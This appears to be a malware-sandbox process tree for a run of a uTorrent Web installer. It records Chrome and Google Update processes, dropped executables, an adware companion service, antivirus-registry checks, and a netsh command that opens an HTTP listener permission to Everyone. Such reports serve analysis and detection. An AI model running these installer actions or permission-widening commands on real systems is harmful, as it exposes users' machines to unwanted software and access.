C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1712 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2212 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3476 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2308 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3476 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3468 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4544 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4880 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4292 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4420 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=71 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4428 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4768 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3308 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3596 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4892 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=652 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4612 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4432 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=79 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1696 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4132 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=81 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1728 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4476 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4288 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3840 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4300 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3232 /prefetch:82⤵
-
C:\Users\Admin\Downloads\utweb_installer.exe"C:\Users\Admin\Downloads\utweb_installer.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS4F999718\GenericSetup.exe.\GenericSetup.exe3⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\GenericSetup.exe_1641728044\Carrier.exeC:\Users\Admin\AppData\Local\Temp\GenericSetup.exe_1641728044\Carrier.exe4⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4552 /prefetch:82⤵
-
C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe"C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe"C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C netsh http add urlacl url=http://+:9007/ user=Everyone2⤵
-
C:\Windows\system32\netsh.exenetsh http add urlacl url=http://+:9007/ user=Everyone3⤵
- Modifies data under HKEY_USERS
-
C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe"C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\ldrxp0jo.cmdline"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RES64FB.tmp" "c:\Windows\Temp\CSC64EB.tmp"3⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3036_890687480\ChromeRecovery.exe"C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3036_890687480\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9E530F96} --browser-version=89.0.4389.114 --sessionid={355c081d-e8da-453c-bf09-d7993a02350b} --system2⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3036_890687480\GoogleUpdateSetup.exe"C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3036_890687480\GoogleUpdateSetup.exe" /install "runtime=true&needsadmin=true" /installsource chromerecovery /silent3⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Google\Temp\GUM5283.tmp\GoogleUpdate.exe"C:\Program Files (x86)\Google\Temp\GUM5283.tmp\GoogleUpdate.exe" /install "runtime=true&needsadmin=true" /installsource chromerecovery /silent4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc5⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver5⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4xMTEiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4xMTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MUZDQzRDM0UtNjY3Mi00NkIzLUFENzAtNTM2ODM1N0E4OTcwfSIgdXNlcmlkPSJ7QkU2RTFEOTQtMUE5Ny00MzVCLTlEMjYtNjg0OUE5RTA0NTREfSIgaW5zdGFsbHNvdXJjZT0iY2hyb21lcmVjb3ZlcnkiIHJlcXVlc3RpZD0iezJDODREODU5LUMyOTktNDBENC1CNDQ3LUM5OEI1QzI2NEVFRH0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iNi4xLjc2MDEuMCIgc3A9IlNlcnZpY2UgUGFjayAxIiBhcmNoPSJ4NjQiLz48YXBwIGFwcGlkPSJ7NDMwRkQ0RDAtQjcyOS00RjYxLUFBMzQtOTE1MjY0ODE3OTlEfSIgdmVyc2lvbj0iIiBuZXh0dmVyc2lvbj0iMS4zLjM2LjExMSIgbGFuZz0iIiBicmFuZD0iIiBjbGllbnQ9IiI-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgaW5zdGFsbF90aW1lX21zPSIxNTk3Ii8-PC9hcHA-PC9yZXF1ZXN0Pg5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /machine /installsource chromerecovery3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Google\Update\Install\{A9AFB8F9-B6A0-4B9E-AE3D-A69D9B92221E}\GoogleUpdateSetup.exe"C:\Program Files (x86)\Google\Update\Install\{A9AFB8F9-B6A0-4B9E-AE3D-A69D9B92221E}\GoogleUpdateSetup.exe" /update /sessionid "{85F53034-DB11-4132-B55D-A89A5E6F2A6D}"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Google\Temp\GUM25AA.tmp\GoogleUpdate.exe"C:\Program Files (x86)\Google\Temp\GUM25AA.tmp\GoogleUpdate.exe" /update /sessionid "{85F53034-DB11-4132-B55D-A89A5E6F2A6D}"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc4⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver4⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"5⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"5⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"5⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4xMTIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4xMTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7ODVGNTMwMzQtREIxMS00MTMyLUI1NUQtQTg5QTVFNkYyQTZEfSIgdXNlcmlkPSJ7QkU2RTFEOTQtMUE5Ny00MzVCLTlEMjYtNjg0OUE5RTA0NTREfSIgaW5zdGFsbHNvdXJjZT0ic2VsZnVwZGF0ZSIgcmVxdWVzdGlkPSJ7OEIyODJEREItRTE1Ri00QzY2LUE4ODYtNjg0NEI1RTZCQkRDfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBwaHlzbWVtb3J5PSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSI2LjEuNzYwMS4wIiBzcD0iU2VydmljZSBQYWNrIDEiIGFyY2g9Ing2NCIvPjxhcHAgYXBwaWQ9Ins0MzBGRDREMC1CNzI5LTRGNjEtQUEzNC05MTUyNjQ4MTc5OUR9IiB2ZXJzaW9uPSIxLjMuMzYuMTExIiBuZXh0dmVyc2lvbj0iMS4zLjM2LjExMiIgbGFuZz0iIiBicmFuZD0iR0dMUyIgY2xpZW50PSIiIGV4cGVyaW1lbnRzPSJjaHJvbWVyZWMzPTIwMjIwMlIiIGluc3RhbGxhZ2U9IjMxIiBpbnN0YWxsZGF0ZT0iNTQ4MSIgY29ob3J0PSIxOjljbzoiIGNvaG9ydG5hbWU9IkV2ZXJ5b25lIEVsc2UiPjxldmVudCBldmVudHR5cGU9IjMiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48L2FwcD48L3JlcXVlc3Q-4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleCrashHandler.exe"C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleCrashHandler.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleCrashHandler64.exe"C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleCrashHandler64.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4xMTEiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4xMTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7ODVGNTMwMzQtREIxMS00MTMyLUI1NUQtQTg5QTVFNkYyQTZEfSIgdXNlcmlkPSJ7QkU2RTFEOTQtMUE5Ny00MzVCLTlEMjYtNjg0OUE5RTA0NTREfSIgaW5zdGFsbHNvdXJjZT0iY2hyb21lcmVjb3ZlcnkiIHJlcXVlc3RpZD0ie0I0NThEOEVDLTZFMjYtNEVCRi04NTRCLTIxNDczODY1Nzg3NH0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iNi4xLjc2MDEuMCIgc3A9IlNlcnZpY2UgUGFjayAxIiBhcmNoPSJ4NjQiLz48YXBwIGFwcGlkPSJ7NDMwRkQ0RDAtQjcyOS00RjYxLUFBMzQtOTE1MjY0ODE3OTlEfSIgdmVyc2lvbj0iMS4zLjM2LjExMSIgbmV4dHZlcnNpb249IjEuMy4zNi4xMTIiIGxhbmc9IiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBleHBlcmltZW50cz0iY2hyb21lcmVjMz0yMDIyMDJSIiBpbnN0YWxsYWdlPSIzMSIgaWlkPSJ7OEQ4QjE0NjAtMzA3NS00RjI3LUQ4MzEtOEMwMTU3QkIzNjYwfSIgY29ob3J0PSIxOjljbzoiIGNvaG9ydG5hbWU9IkV2ZXJ5b25lIEVsc2UiPjxldmVudCBldmVudHR5cGU9IjEyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMTMiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIxNCIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgZG93bmxvYWRlcj0iYml0cyIgdXJsPSJodHRwOi8vZWRnZWRsLm1lLmd2dDEuY29tL2VkZ2VkbC9yZWxlYXNlMi91cGRhdGUyL2FkeG1vbWZ0cmtvaW9kazdhd3l2YTNtejZ1dGFfMS4zLjM2LjExMi9Hb29nbGVVcGRhdGVTZXR1cC5leGUiIGRvd25sb2FkZWQ9IjEzNDEyNzIiIHRvdGFsPSIxMzQxMjcyIiBkb3dubG9hZF90aW1lX21zPSIzMDk3Ii8-PGV2ZW50IGV2ZW50dHlwZT0iMTQiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIxNSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjwvYXBwPjxhcHAgYXBwaWQ9Ins4QTY5RDM0NS1ENTY0LTQ2M0MtQUZGMS1BNjlEOUU1MzBGOTZ9IiB2ZXJzaW9uPSI4OS4wLjQzODkuMTE0IiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBleHBlcmltZW50cz0iY2hyb21lcmVjMz0yMDIyMDJSIiBpbnN0YWxsYWdlPSIzMSIgaWlkPSJ7OEQ4QjE0NjAtMzA3NS00RjI3LUQ4MzEtOEMwMTU3QkIzNjYwfSI-PGV2ZW50IGV2ZW50dHlwZT0iMyIgZXZlbnRyZXN1bHQ9IjkiIGVycm9yY29kZT0iLTE2MDYyMTk3NDgiIGV4dHJhY29kZTE9IjAiLz48L2FwcD48L3JlcXVlc3Q-2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6284f50,0x7fef6284f60,0x7fef6284f702⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1212 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1140 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1776 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2024 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2148 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2032 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2728 /prefetch:22⤵
-
